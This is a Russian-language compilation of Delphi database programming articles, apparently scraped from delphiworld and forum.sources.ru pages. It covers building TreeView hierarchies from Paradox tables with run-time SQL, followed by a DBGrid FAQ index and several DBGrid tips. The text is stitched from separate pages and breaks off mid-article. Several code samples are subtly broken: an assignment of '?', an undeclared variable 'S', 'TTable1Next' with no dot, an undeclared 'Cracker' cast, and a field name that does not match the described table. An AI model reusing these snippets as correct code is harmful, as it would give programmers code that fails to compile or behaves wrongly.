Пример построен на локальных Paradox-таблицах. Следовательно для переноса его на SQL-серверные БД стоит учитывать их особенности.
Дерево подразделеений

Пусть у нас существует таблица подразделений, каждое из которых может иметь свои внутренние подразделения. Необходимо отображать эти данные в виде дерева.

Используемая в примере таблица — COMPANY.DB

Структура данных реализована классическим деревом: каждая запись о подразделении представлена полями

CompanyID — номер подразделения
ParentID — номер родительского подразделения
Name — название.
Для тех подразделений, которые не имеют головных над собой, поле ParentID равно 0.

Формировать уровни дерева мы будем с помощью запроса к таблице ( компонент qTreeCompanies : TQuery ).

Select * From COMPANY
Where ParentID=:ParentID

Параметр ParentID будет определять, какую ветку мы сейчас достраиваем. То есть, к какой ищем дочерние подразделения.

Процедура, формирующая очередной уровень (дочерний для ветви Node ) реализована следующим образом:

Procedure TFormTree.ExpandLevel( Node : TTreeNode);
Var ID , i   : Integer;
    TreeNode : TTreeNode;
Begin

    // Для самого верхнего уровня выбрать только тех,
    // кто не имеет родителей.
    IF Node = nil Then ID:=0
    Else ID:=Integer(Node.Data);

    qTreeCompanies.Close;
    qTreeCompanies.ParamByName('ParentID').AsInteger:=ID;
    qTreeCompanies.Open;

    TreeCompanies.Items.BeginUpdate;

    // Для каждой строки из полученного набора данных
    // формируем ветвь в TreeView, как дочерние ветки к той,
    // которую мы только что "раскрыли"
    For i:=1 To qTreeCompanies.RecordCount Do
    Begin

       // Запишем в поле Data ветки ее идентификационный номер(ID) в таблице
       TreeNode:=TreeCompanies.Items.AddChildObject(Node ,
                                  qTreeCompanies.FieldByName('Name').AsString ,
                                  Pointer(qTreeCompanies.FieldByName('ID').AsInteger));

       TreeNode.ImageIndex:=1;
       TreeNode.SelectedIndex:=2;

       // Добавим фиктивную (пустую) дочернюю ветвь только для того,
       // чтобы был отрисован [+] на ветке и ее можно было бы раскрыть
       TreeCompanies.Items.AddChildObject(TreeNode , '' , nil);

       qTreeCompanies.Next;
    End;

    TreeCompanies.Items.EndUpdate;

End;

Теперь позаботимся о том, чтобы она вызывалась в нужный нам момент времени. На событие OnExpanding проверим, есть ли у текущей ветки фиктивная дочерняя ветвь и, если она есть, сформируем реальную ветку, предварительно удалив фиктивную.

if Node.getFirstChild.Data = nil then
begin
  Node.DeleteChildren;
  ExpandLevel(Node);
end;

На форме в проекте кроме дерева расположена еще и сетка (Grid), в которой отображаются записи текущего уровня подразделений. Это, по сути, список дочерних ветвей для текущей ветки дерева. Для того, чтобы синхронизировать TreeView и DBGrid используем нехитрый прием — на событие TTreeView.OnChange (шаг по ветке) добавим следующий код:

IF TreeCompanies.Selected <> nil Then
Begin
  // ID родительской ветки , для нее и ищем все дочерние
  ID:=Integer(TreeCompanies.Selected.Data);

  qCompanies.Close;
  qCompanies.ParamByName('ParentID').AsInteger:=ID;
  qCompanies.Open;
End;

Помните, в процедуре ExpandLevel мы записывали в поле Data каждой ветки ее идентификационный номер? Вот его то мы сейчас и используем.

Для полного ощущения передвижения по Grid'у, как по дереву можно добавить эффект "проваливания" на более глубокий уровень. По двойному клику на записи в Grid'е пользователь проваливается на один уровень вниз по иерархии, если такой уровень, конечно же еще есть.

На событие OnDblClick для грида:

ID:=qCompanies.FieldByName('ID').AsInteger;

// принудительное "невидимое" раскрытие той ветки, на которой стоим
TreeCompanies.OnExpanding(TreeCompanies ,TreeCompanies.Selected , Allow);

// Перебираем все получившиеся дочерние ветки и ищем ту, ID которой
// совпадает с ID строки в правой таблице. То есть ищем ветку в дереве,
// которая соответсвует той записи в таблице, на которой мы стоим
// Как только нашли, визуально раскрываем ветку и делаем ее выделенной,
// то есть визуально "встаем" на нее в дереве
FOR i:=0 To TreeCompanies.Selected.Count-1 Do
  IF Integer(TreeCompanies.Selected.Item[i].Data) = ID Then
  Begin
    TreeCompanies.Selected.Item[i].Expand(False);
    TreeCompanies.Selected.Item[i].Selected:=True;
    TreeCompanies.Repaint;
    Exit;
  End;

Параллельно с этим раскрывается соответствующая ветка самого дерева. Очень эффектно. :о)

В проекте реализована возможность добавления новых ветвей, то есть новых подразделений. Нажимте на TreeView правую кнопку мышки и достраивайте наше дерево, как Вам угодно!

Дерево аналитических признаков

"Куст — это пучок веток, растущих из одного места"
из военных афоризмов

Пусть у нас есть таблица документов, каждый документ, например, описывает некоторую операцию по покупке( или продаже ) товара. В этой операции участвуют: определенный товар, клиент, у которого куплен (или которому продан) этот товар, и город, в котором данная операция совершена. Таким образом, мы имеем таблицу документов, каждая запись в которой наделена тремя аналитическими признаками: Город, Клиент и Товар.

По сути своей эти данные не являются иерархическими, и никакой явной зависимости между документами не прослеживается. Но тем не менее эта связь существует — одинаковые аналитические признаки. Например, в одну группу можно объединить все документы, имеющие отношение к определенному товару или клиенту.

Если для анализа данных пользователю необходимо работать с документами по зафиксированным аналитическим признакам, то возникает задача визуального представления таких данных. К примеру, заказчик требует показывать ему все документы для определенного города, а потом, для определенного клиента и товара, но в том же городе. Однако желательно видеть информацию ровно в обратном порядке: сначала выбрать документы с нужным товаром, затем увидеть все города, где работали с этим товаром, выбирать нужный город и так далее.

Явно прослеживается древовидная структура, где каждый уровень дерева суть аналитический признак. Именно поэтому, как говорилось выше, в данном дереве фиксирована глубина вложенности. Она однозначно определяется количеством аналитики для документа.

Описание примера, реализующего данную задачу

Используемые таблицы:

Таблица документов DOCUMENTS.DB , где каждый документ определен полями:

DocumentID : номер документа
Name : название
CityID : ID города
ClientID : ID клиента
GoodsID : ID товара
Таблицы аналитики, соответственно CITIES.DB, CLIENTS.DB и GOODS.DB, содержат поля названия Name и номера (CityID , ClientID , GoodID).

Так как порядок следования аналитики произвольный, зараннее невозможно написать текст SQL-запроса, который будет возвращать данные для очередного уровня дерева. Этот текст придется формировать в run-time, когда все данные будут известны.

Чтобы не зашиваться именно на такой список аналитики, который приведен в примере, стоит затратить немного больше сил и обеспечить себе некоторую универсальность. Для этого добавим еще одну таблицу (таблицу сущностей) Entities, содержащую описание используемой аналитики.

Поля таблицы ENTITIES.DB

EntityID — идентификатор
Name — русское название аналитического признака
TableName — название таблицы, в которой он содержится
KeyColumn — ключевой столбец этой таблицы
OrderNo — номер по порядку в списке используемых признаков
IsSelect — выбран или не выбран в текущий список признаков
ImageIndex — номер изображения (используется в отображении дерева)
В нашем случае эта таблица будет выглядеть так:

EntityID Name TableName KeyColumn ...
1 Город CITIES CityID ...
2 Товар GOODS GoodID ...
3 Клиент CLIENTS ClientID ...

В примере я использую список ListEntities (TCollection), каждый элемент которого содержит поля TableName, KeyColumn и ImageIndex. Элементы в этом списке расположены в том порядке, в каком будет строиться дерево. Заполняется этот список только той аналитикой, которая требуется для конкретного дерева. Например, только города и клиенты или товары и клиенты, или сразу все вместе. Следовательно этот список (ListEntities) и содержит полную информацию для построения дерева в каждый конкретный момент.

Заполнение списка аналитики проводится в модуле setupEntities.pas.

//считывает аналитику из таблицы
procedure GetEntities( var List : TEntityLists );
// вызывает диалог для настойки аналитики пользователем
function SetEntities( var List : TEntityLists ) : Boolean;

Формирование дерева в этом случае полностью аналогично предыдущему примеру, с той только разницей, которая касается формирования текста запроса для каждого уровня дерева.

Так же в дерево добавляется единый для всех веток самый верхний корневой узел. С точки зрения аналитики это "фиктивный" узел, так как он будет отображать ВСЕ документы, без указания конкретного значения аналитического признака. Кроме того, достраивается еще один, самый нижний уровень — список документов по зафиксированной для текущей ветки аналитики.

Наличие этих "фиктивных" узлов совершенно не обязательно, но, на мой взгляд, очень логично.

В итоге, глубина вложенности дерева будет равна "количество аналитики" + 2.

Итак, процедура ExpandLevel будет модифицирована следующим образом:

Procedure TFormTree.ExpandLevelAnalytic(Node : TTreeNode );
Var NewItem    : TListsItem;
    ImageIndex ,
    Level , i  : Integer;
    TreeNode   : TTreeNode;
    Sql,Name   : String;
Begin

     IF Node = nil Then Exit;

     TreeAnalytic.Items.BeginUpdate;

     Level:=Node.Level + 1; // уровень, который будет раскрываться
     // Самому первому аналитическому признаку в списке  ListEntities
     // соответсвует _второй_ физический уровень веток дерева.
     // Так как самый верхний уровень дерева фиктивный -"все документы"
     // Отсюда и игра с (+/-) 1 при обращении к списку

     qTreeAnalytic.Close;

     // Определим, на каком типе уровня мы сейчас находимся
     //
     IF Level > ListEntities.Count
     Then Begin  // Уровень документов, аналитка закончилась
            Sql:='SELECT * FROM Documents Where '+ GetSqlPath(Node);
            Name:= 'DocumentID';
            ImageIndex:=3;
          End
     Else Begin // Очередной уровень аналитики
            Sql:='SELECT DISTINCT '+ ListEntities[Level-1].AsString + '.* ' +
                 ' FROM Documents , ' +  ListEntities[Level-1].AsString + ' WHERE ' +
                 ListEntities[Level-1].AsString + '.' +ListEntities[Level-1].Name + '=' +
                 'Documents.'+ListEntities[Level-1].Name + ' AND ' + GetSqlPath(Node) ;
            Name:=ListEntities[Level-1].Name;
            ImageIndex:=ListEntities[Level-1].ImageIndex;
          End;

     qTreeAnalytic.Sql.Clear;
     qTreeAnalytic.Sql.Add(Sql);

     qTreeAnalytic.Open;

  // Получен очередной уровень ветвей дерева
     For i:=1 To qTreeAnalytic.RecordCount Do
     Begin
         NewItem:=List.AddItem(qTreeAnalytic.FieldByName(Name).AsInteger , Name);

         TreeNode:=TreeAnalytic.Items.AddChildObject( Node ,
                              qTreeAnalytic.FieldByName('Name').AsString, NewItem );
         TreeNode.ImageIndex:=ImageIndex;
         TreeNode.SelectedIndex:=TreeNode.ImageIndex;

         // Фиктивная дочерняя ветка ТОЛЬКО для уровней аналитики,
         // так как документы - последний уровень, за которым ничего и не может быть
         IF Level <= ListEntities.Count
         Then TreeAnalytic.Items.AddChild(TreeNode , '' );

         qTreeAnalytic.Next;
     End;

     TreeAnalytic.Items.EndUpdate;

End;

В предыдущем примере мы запоминали ID строки из таблицы в поле Data каждой ветви дерева. Сейчас нам не годится такой вариант, так как аналитический признак определяется не одним идентификатором, а целым элементом списка ListEntities, вот его то и надо запоминать. Поэтому в поле Data сохраняется ссылка на конкретный элемент этого списка. Благо это Pointer и записать туда можно все, что угодно.

В процедуре используется функция GetSqlPath, которая возвращает полный путь от корня до указанной ветки дерева. Полный путь это есть зафиксированные значения для каждого уровня аналитики. Эти значения необходимы для того, чтобы верно построить запрос. То есть мы фактически формируем дополнительный фильтр для последующих выборок, напрмер — получаем всех клиентов для конкретного города и указанного товара.

Function TFormTree.GetSqlPath( Node : TTreeNode ) : String;
Begin
   Result:=' 0=0 ' ;

   // Участвуют все ветви дерева, кроме самого верхнего фиктивного уровня
   While Node.Level > 0   Do
   Begin
      Result:= Result + ' AND ' +
               'Documents.' + TListsItem(Node.Data).Name + '=' +
                              TListsItem(Node.Data).AsString ;

      // Делаем шаг назад по ветке дерева
      Node:=Node.Parent;
   End;

End;

Пример текстов SQL запроса, который будет сформирован при движении по дереву:

Уровень "товары" — Все товары, которые встречаются в документах, созданных в городе номер 6 и для клиента номер 3

SELECT DISTINCT Goods.*  FROM Documents , Goods
WHERE Goods.GoodsID=Documents.GoodsID AND  0=0
AND Documents.CityID=6 AND Documents.ClientID=3

Последний уровень "документы" — Все документы, созданные в городе номер 6 и для клиента номер 3, по товару номер 1

SELECT * FROM Documents Where  0=0  AND
Documents.GoodsID=1 AND Documents.CityID=6 AND Documents.ClientID=3

Такой подход позволяет легко расширять набор аналитических признаков, которые должны использоваться в программе, практически без изменения кода клиентского приложения. Достаточно изменить структуру таблицы DOCUMENTS и дополнить таблицу ENTITIES.

В некоторой степени можно сказать, что таблица ENTITIES содержит метаданные о структуре базы. Правда с большой натяжкой, так как в данном примере структура просто элементарна, а связи слишком просты и не поддерживают никакой глубины вложения (как, например, в таком случае, когда город не указан явно в документе, но может быть вытянут из таблицы клиентов и так далее).

Для получения набора данных не обязательно использовать именно запросы, точно так же можно использовать хранимые процедуры для SQL-серверных СУБД. Изменится структура метаданных, но не изменится принцип формирования дерева.

На мой взгляд, в качестве примера, стоит внимательно рассмотреть такой подход, чтобы вы могли в своих конкретных задачах на его основе конструировать реальные метаданные и без проблем модифицировать дерево аналитических признаков.

Итак...

Итак, были рассмотрены две принципиально разные задачи, а реализация DBTreeView оказалась практически идентична. Собственно, этот факт и является важным результатом статьи — воспользуйтесь примерами, добавьте собственный функционал и создайте для себя несложный компонент для отображения древовидной структуры. Это не значит, что не стоит пользоваться сторонними компонентами, ни в коем случае. Просто если существующие вас не устраивают полностью, вы будете знать, как это исправить.

Для иллюстрации материала статьи подготовлен проект TreeDB :

Проект откомпилирован в Delphi 5, использует BDE и настроен на алиас TreeDB

Взято с http://delphiworld.narod.ru


DBGrid

Cодержание раздела:

Как изменить число фиксированных колонок в TDbGrid? Updated!
Как остановить автодобавление из DBGrid?
Как показать содержимое Memo-поля в DBGrid? Updated!
DBGrid компонент c разными цветами удалённые, обновлённые и добавленные записи
Как отобразить выбранную строку DBGrid различными цветами?
Как узнать значения, которые пользователь вводит в TDBGrid?
Как защитить запись в DBGrid от удаления?
Как изменить шрифт определённой строки в DBGrid?
Прокрутка таблицы - хитрость PeekMessage
Печать содержимого DBGrid через QuickReport
Как удалить вертикальную полосу прокрутки (скроллбар) из DBGrid?
Сортировка DBGrid по клику на колонке?
Как показать DbGrid в режиме disabled?
Как экспортировать содержимое DBGrid в Excel или ClipBoard?
Как получить содержимое поля[1,1] DBGrid?
Как зафиксировать один или несколько столбцов в TDBGrid с возможностью навигации по этим столбцам?
Как заблокировать функцию вставки записи в компоненте TDBGrid?
Самый продвинутый DBGrid New!
Выделить все поля в TDBGrid? New!
Как передвинуть колонку в TDBGrid? New!
Цвета в TDBGrid New!
Как работать с выделенными запясями в TDBGrid? New!
Как заставить корректно работать mouse wheel в TDBGrid? New!
Как изменить цвет отмеченных записей в DBGrid New!
Буфер обмена и ячейки DBGrid New!
Как сделать, чтобы в DBGrid вместо цифр были соответствующие константы New!
Шапка в TDBGrid New!
Позиция ячейки в TDBGrid New!
Как сделать, чтобы необходимая ячейка DBGrid получила фокус ввода New!
Текущая строка и поле в DBGrid New!
DbGrid со свойствами Col и Row New!
Как выделить цветом текущую строку в TDBGrid New!
DBGrid CutToClipboard New!
DBGrid DefaultDrawDataCell New!
Как программно перевести DBGrid в режим редактирования New!
DbGrid и множественный выбор New!
Как в TDBGrid узнать над каким полем висит мышь? New!
Как заблокировать TDBGrid от автодобавления новой записи New!
Как в TDBGrid pазpешить только опеpации UPDATE записей New!
Как заменить данные в столбце компонента TDBGrid New!
Как поместить графическое изображение в TDBGrid New!
Как определить изменение фокуса строки в TDBGrid New!
DBGrid - сохранение конфигурации New!
Решение проблемы передачи фокуса TDBGrid New!
Копирование информации из DBGrid-а в Clipboard New!
Экспортировать DBGrid в HTML New!
Перемещение по таблице с помощью вертикальной полосы прокрутки New!
Кам при прокрутке зафиксировать левое поле сетки? New!
DBGrid с номером строки New!
Как удалить вертикальную полосу прокрутки (скроллбар) из DBGrid? New!
Пример Drag and Drop между двумя DBGrid New!
Перемещение из DbGrid New!
Рисование текста в DBGrid New!
Использование Enter как Tab в TDBGrid New!
Как вывести Hint для ячейки DBGrid New!
Симуляция нажатия кнопки при наличии DBGrid New!

См. также статьи в других разделах:
Помещение компонентов в DBGrid
Цветные ячейки в StringGrid / DBGrid?
Как убрать HSCROLL у DBGRID?
Почему таблица или select показывается в Grid быстро, а перемещение в конец таблицы происходит долго?
Экспорт из TDBGrid в Excel без OLE
Мемо в DBGrid New!
CheckBox в DBGrid New!


Как изменить число фиксированных колонок в TDbGrid?

procedure TForm1.Button1Click(Sender: TObject);
begin
  TStringGrid(DbGrid1).FixedCols := 2;
end;

Взято из http://forum.sources.ru

Это маленькая вставка в Ваш наследник от TCustomDBGrid, которая решает данную задачу.

// DBGRIDEX.PAS
// ----------------------------------------------------------------------------

destructor TDbGridEx.Destroy;
begin

  _HideColumnsValues.Free;
  _HideColumns.Free;

  inherited Destroy;
end;

// ----------------------------------------------------------------------------

constructor TDbGridEx.Create(Component: TComponent);
begin

  inherited Create(Component);

  FFreezeCols := ?;

  _HideColumnsValues := TList.Create;
  _HideColumns := TList.Create;
end;

// ----------------------------------------------------------------------------

procedure TDbGridEx.KeyDown(var Key: Word; Shift: TShiftState);
begin

  if (Key = VK_LEFT) then
    ColBeforeEnter(-1);
  if (Key = VK_RIGHT) then
    ColBeforeEnter(1);

  inherited;
end;

// ----------------------------------------------------------------------------

procedure TDbGridEx.SetFreezeColor(AColor: TColor);
begin

  InvalidateRow(0);
end;

// ----------------------------------------------------------------------------

procedure TDbGridEx.SetFreezeCols(AFreezeCols: Integer);
begin

  FFreezeCols := AFreezeCols;
  InvalidateRow(0);
end;

// ----------------------------------------------------------------------------

procedure TDbGridEx.ColEnter;
begin

  ColBeforeEnter(0);

  if Assigned(OnColEnter) then
    OnColEnter(Self);
end;

// ----------------------------------------------------------------------------

procedure TDbGridEx.ColBeforeEnter(ADelta: Integer);
var

  nIndex: Integer;

  function ReadWidth: Integer;
  var

    i: Integer;

  begin

    i := _HideColumns.IndexOf(Columns[nIndex]);

    if i = -1 then
      result := 120
    else
      result := Integer(_HideColumnsValues[i]);
  end;

  procedure SaveWidth;
  var

    i: Integer;

  begin

    i := _HideColumns.IndexOf(Columns[nIndex]);
    if i <> -1 then
    begin
      _HideColumnsValues[i] := Pointer(Columns[nIndex].Width);
    end
    else
    begin
      _HideColumns.Add(Columns[nIndex]);
      _HideColumnsValues.Add(Pointer(Columns[nIndex].Width));
    end;
  end;

begin

  for nIndex := 0 to Columns.Count - 1 do
  begin
    if (Columns[nIndex].Width = 0) then
    begin
      if (nIndex + 1 <= FreezeCols) or (nIndex >= SelectedIndex + ADelta) then
        Columns[nIndex].Width := ReadWidth;
    end
    else
    begin
      SaveWidth;
      if (nIndex + 1 > FreezeCols) and
        (nIndex < SelectedIndex + ADelta) and
        (nIndex + 1 < Columns.Count) and
        (FreezeCols > 0) then
        Columns[nIndex].Width := 0;
    end;
  end;
end;

Взято с http://delphiworld.narod.ru


Как остановить автодобавление из DBGrid?

Добавьте в событие "BeforeInsert" Вашего TTables следующие строки:

procedure TForm1.Tbable1BeforeInsert(DataSet: TDataset);
begin
  Abort;
end;

ИЛИ

procedure TForm8.DBGrid1KeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
  if (Key = VK_DOWN) then
  begin
    TTable1.DisableControls ;
    TTable1Next ;
    if TTable1.EOF then
      Key := 0 else TTable1.Prior ;
    TTable1.EnableControls ;
  end ;
end;

Взято из http://forum.sources.ru


Как показать содержимое Memo-поля в DBGrid?

Поумолчанию, DBGrid не может отображать memo-поля. Однако, проблему можно решить при помощи события OnDrawDataCell в DBGrid.

procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const
                 Rect: TRect; Field: TField; State:
                 TGridDrawState);

var
  P: array [0..50] of char; {размер массива, это количество необходимых символов}
  bs: TBlobStream;          {из memo-поля}
  hStr: String;

begin
  if Field is TMemoField then
  begin
    with (Sender as TDBGrid).Canvas do
    begin   {Table1Notes это TMemoField}
      bs := TBlobStream.Create(Table1Notes, bmRead);
      FillChar(P,SizeOf(P),#0); {строка завершается нулём}
      bs.Read(P, 50); {читаем 50 символов из memo в blobStream}
      bs.Free;
      hStr := StrPas(P);
      while Pos(#13, hStr) > 0 do  {удаляем переносы каретки и}
        hStr[Pos(#13, hStr)] := ' ';
      while Pos(#10, hStr) > 0 do  {отступы строк}
        S[Pos(#10, hStr)] := ' ';

      FillRect(Rect);  {очищаем ячейку}
      TextOut(Rect.Left, Rect.Top, hStr);  {заполняем ячейку данными из memo}
    end;
  end;
end;

Замечание: перед тем, запустить пример, создайте объект TMemoField для memo-поля двойным кликом по компоненту TTable и добавлением memo-поля.

Взято из http://forum.sources.ru

В обработчик события GetText TMemoField поместите следующую строку:

Text := GrabMemoAsString(TMemoField(Sender));

и поместите следующую функцию так, чтобы к ней можно было свободно обратиться:

function GrabMemoAsString(TheField: TMemoField): string;
begin
  if TheField.IsNull then
    Result := ''
  else
    with TBlobStream.Create(TheField, bmRead) do
    begin
      if Size >= 255 then
      begin
        Read(Result[1], 255);
        Result[0] := #255;
      end
      else
      begin
        Read(Result[1], Size);
        Result[0] := Chr(Size);
      end;
      Free;
      while Pos(#10, Result) > 0 do
        Result[Pos(#10, Result)] := ' ';
      while Pos(#13, Result) > 0 do
        Result[Pos(#13, Result)] := ' ';
    end;
end;

Взято с http://delphiworld.narod.ru


DBGrid компонент c разными цветами удалённые, обновлённые и добавленные записи

unit atcDBGrid;
(*
  (c) Aveen Tech
  2001 - 2002

  FileName: atcDBGrid.pas

  Version        Date            Author              Comment
  1.0            13/06/2000      Majid Vafai Jahan  Create.

OVERVIEW
  - This grid is inherited from DBGrid and add some required functionality to it.

Functionality:
  - Record type are all records that may be modified, unmodified, inserted, deleted.
  - Coloring according to Record type.
  - show selected Record Type.

*)

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Grids, DBGrids, dbTables, db;
const
  AlignFlags : array [TAlignment] of Integer =
    ( DT_LEFT or DT_WORDBREAK or DT_EXPANDTABS or DT_NOPREFIX,
      DT_RIGHT or DT_WORDBREAK or DT_EXPANDTABS or DT_NOPREFIX,
      DT_CENTER or DT_WORDBREAK or DT_EXPANDTABS or DT_NOPREFIX );
  RTL: array [Boolean] of Integer = (0, DT_RTLREADING);
type
  TCachedShow = (csModify, csUnModify, csRemoved, csInserted, csAll, csNormal);
  TatcDBGrid = class(TDBGrid)
  private
    FCachedShow: TCachedShow;
    FModifiedColor: TColor;
    FInsertedColor: TColor;
    FDeletedColor: TColor;
    procedure SetCachedShow(const Value: TCachedShow);
  protected
    procedure DrawDataCell(const Rect: TRect; Field: TField;
      State: TGridDrawState); override;
    procedure DrawColumnCell(const Rect: TRect; DataCol: Integer;
      Column: TColumn; State: TGridDrawState); override;
  public
    constructor Create(AOwner: TComponent); override;
  published
    property atcCachedShow: TCachedShow read FCachedShow write SetCachedShow;
    property atcDeletedColor: TColor read FDeletedColor write FDeletedColor;
    property atcInsertedColor: TColor read FInsertedColor write FInsertedColor;
    property atcModifiedColor: TColor read FModifiedColor write FModifiedColor;
  end;

procedure Register;

implementation

(******************************************************************************)
procedure Register;
begin
  RegisterComponents('ATC DB Compo', [TatcDBGrid]);
end;

(******************************************************************************)
constructor TatcDBGrid.Create(AOwner: TComponent);
(*
  Description: Record Type Showing is All except Deletes.
*)

begin
  inherited;
  FCachedShow := csNormal;
  FDeletedColor := clGray;
  FInsertedColor := clAqua;
  FModifiedColor := clRed;
end;

(******************************************************************************)
procedure TatcDBGrid.DrawColumnCell(const Rect: TRect; DataCol: Integer;
  Column: TColumn; State: TGridDrawState);
(*
  Description: On Drawing Column Color Updated Records.
*)
var
  ARect: TRect;
begin
  inherited;
  if not Assigned(Column.Field) then
    exit;
  // Copy Rect into Variable.
  CopyRect(ARect, Rect);
  if Assigned(DataLink) and (DataLink.Active) and (DataLink.DataSet <> nil) then
  begin
    // если текущая запись изменена
    if DataLink.DataSet.UpdateStatus = usModified then
    begin
      Canvas.Brush.Color := atcModifiedColor;
      Canvas.Font.Color := clBlack;
      Canvas.FillRect(Rect);
      DrawText(Canvas.Handle, PChar(Column.Field.Text), Length(Column.Field.Text), ARect,
       AlignFlags[Column.Alignment] or RTL[UseRightToLeftAlignmentForField(Column.Field, Column.Alignment)]);
    end
    // если текущая запись добавлена.
    else if DataLink.DataSet.UpdateStatus = usInserted then
    begin
      Canvas.Brush.Color := atcInsertedColor;
      Canvas.Font.Color := clBlack;
      Canvas.FillRect(Rect);
      DrawText(Canvas.Handle, PChar(Column.Field.Text), Length(Column.Field.Text), ARect,
       AlignFlags[Column.Alignment] or RTL[UseRightToLeftAlignmentForField(Column.Field, Column.Alignment)]);
    end
    // если текущая запись удалена.
    else if DataLink.DataSet.UpdateStatus = usDeleted then
    begin
      Canvas.Brush.Color := atcDeletedColor;
      Canvas.Font.Color := clWhite;
      Canvas.FillRect(Rect);
      DrawText(Canvas.Handle, PChar(Column.Field.Text), Length(Column.Field.Text), ARect,
       AlignFlags[Column.Alignment] or RTL[UseRightToLeftAlignmentForField(Column.Field, Column.Alignment)]);
    end;
  end;
end;

(******************************************************************************)
procedure TatcDBGrid.DrawDataCell(const Rect: TRect; Field: TField;
  State: TGridDrawState);
(*
  Описание: Рисуем ячейки
*)
var
  ARect: TRect;
begin
  inherited;
  CopyRect(ARect, Rect);

  if Assigned(DataLink) and (DataLink.Active) and (DataLink.DataSet <> nil) then
  begin
    // если текущая запись изменена
    if DataLink.DataSet.UpdateStatus = usModified then
    begin
      Canvas.Brush.Color := clRed;
      Canvas.Font.Color := clBlack;
      Canvas.FillRect(Rect);
      DrawText(Canvas.Handle, PChar(Field.Text), Length(Field.Text), ARect,
       AlignFlags[Field.Alignment] or RTL[UseRightToLeftAlignmentForField(Field, Field.Alignment)]);
    end
    // если текущая запись добавлена.
    else if DataLink.DataSet.UpdateStatus = usInserted then
    begin
      Canvas.Brush.Color := clAqua;
      Canvas.Font.Color := clBlack;
      Canvas.FillRect(Rect);
      DrawText(Canvas.Handle, PChar(Field.Text), Length(Field.Text), ARect,
       AlignFlags[Field.Alignment] or RTL[UseRightToLeftAlignmentForField(Field, Field.Alignment)]);
    end
    // если текущая запись удалена.
    else if DataLink.DataSet.UpdateStatus = usDeleted then
    begin
      Canvas.Brush.Color := clGray;
      Canvas.Font.Color := clWhite;
      Canvas.FillRect(Rect);
      DrawText(Canvas.Handle, PChar(Field.Text), Length(Field.Text), ARect,
       AlignFlags[Field.Alignment] or RTL[UseRightToLeftAlignmentForField(Field, Field.Alignment)]);
    end;
  end;
end;

(******************************************************************************)
procedure TatcDBGrid.SetCachedShow(const Value: TCachedShow);
(*
  Description: Record type for showing in grid.
  Parameters: Value cached record show.
*)

begin
  FCachedShow := Value;
  if ComponentState = [csDesigning] then
    exit;
  if not Assigned(DataSource) or not Assigned(DataSource.DataSet) then
    exit;
  // для показа только выбранного типа записей.
  if Assigned(DataLink) and Assigned(DataLink.DataSet) and (DataLink.Active) then
  begin
    case FCachedShow of
    csAll:
      TBDEDataSet(DataSource.DataSet).UpdateRecordTypes := [rtModified, rtInserted, rtDeleted, rtUnmodified];
    csModify:
      TBDEDataSet(DataSource.DataSet).UpdateRecordTypes := [rtModified];
    csUnModify:
      TBDEDataSet(DataSource.DataSet).UpdateRecordTypes := [rtUnmodified];
    csInserted:
      TBDEDataSet(DataSource.DataSet).UpdateRecordTypes := [rtInserted];
    csRemoved:
      TBDEDataSet(DataSource.DataSet).UpdateRecordTypes := [rtDeleted];
    csNormal:
      TBDEDataSet(DataSource.DataSet).UpdateRecordTypes := [rtModified, rtInserted, rtUnmodified];
    end;
  end;
end;

(******************************************************************************)
end.

Взято из http://forum.sources.ru


Как отобразить выбранную строку DBGrid различными цветами?

Если Вы хотите раскрасить выбранную строку DBGrid, но не хотите использовать опцию dgRowSelect, так как хотели бы редактировать данные, то можно воспользоваться следующей технологией в событии DBGrid.OnDrawColumnCell:

type
  TCustomDBGridCracker = class(TCustomDBGrid);

procedure TForm1.DBGrid1DrawColumnCell(Sender: TObject;
  const Rect: TRect; DataCol: Integer; Column: TColumn;
  State: TGridDrawState);
begin
  with Cracker(Sender) do
    if DataLink.ActiveRecord = Row - 1 then
      Canvas.Brush.Color := clRed
    else
      Canvas.Brush.Color := clWhite;
  DefaultDrawColumnCell(Rect, DataCol, Column, State);
end;

Взято из http://forum.sources.ru


Как узнать значения, которые пользователь вводит в TDBGrid?

procedure TForm1.DBGrid1KeyUp(Sender: TObject;
                              var Key: Word; Shift: TShiftState);
var
  B: byte;

begin
  for B := 0 to DBGrid1.ControlCount - 1 do
  if DBGrid1.Controls[B] is TInPlaceEdit then
  begin
    with DBGrid1.Controls[B] as TInPlaceEdit do
    begin
      Label1.Caption := 'Text = ' + Text;
    end;
  end;
end;
Взято из http://forum.sources.ru


Как защитить запись в DBGrid от удаления?

Поместите следующий код в событие OnKeyDown в DBGrid.

procedure TForm1.DBGrid1KeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
  if (ssctrl in shift) and (key=vk_delete) then key:=0;
end;
Взято из http://forum.sources.ru


Как изменить шрифт определённой строки в DBGrid?

Для этого надо воспользоваться событием OnDrawDataCell в dbgrid.

procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect: TRect;
  Field: TField; State: TGridDrawState);
begin
  // If the record's CustNo is 4711 draw the entire row with a
  // line through it. (set the font style to strike out)
  if (Sender as TDBGrid).DataSource.DataSet.FieldByName('CustNo').AsString =
    '4711' then
    with (Sender as TDBGrid).Canvas do
      begin
        FillRect(Rect);
       // Set the font style to StrikeOut
        Font.Style := Font.Style + [fsStrikeOut];
       // Draw the cell right aligned for floats + offset
        if (Field.DataType = ftFloat) then
          TextOut(Rect.Right - TextWidth(Field.AsString) - 3,
            Rect.Top + 3, Field.AsString)
       // Otherwise draw the cell left aligned + offset
        else
          TextOut(Rect.Left + 2, Rect.Top + 3, Field.AsString);
      end;
end;

Замечание: Вышеприведённый код использует таблицу "CUSTOMER.DB", TDBGrid, TDataSource
и TTable

Взято из http://forum.sources.ru


Прокрутка таблицы - хитрость PeekMessage

На днях я решил поиграть с API-функцией PeekMessage(). Функция работает, но ловить ее нужно следующим образом.

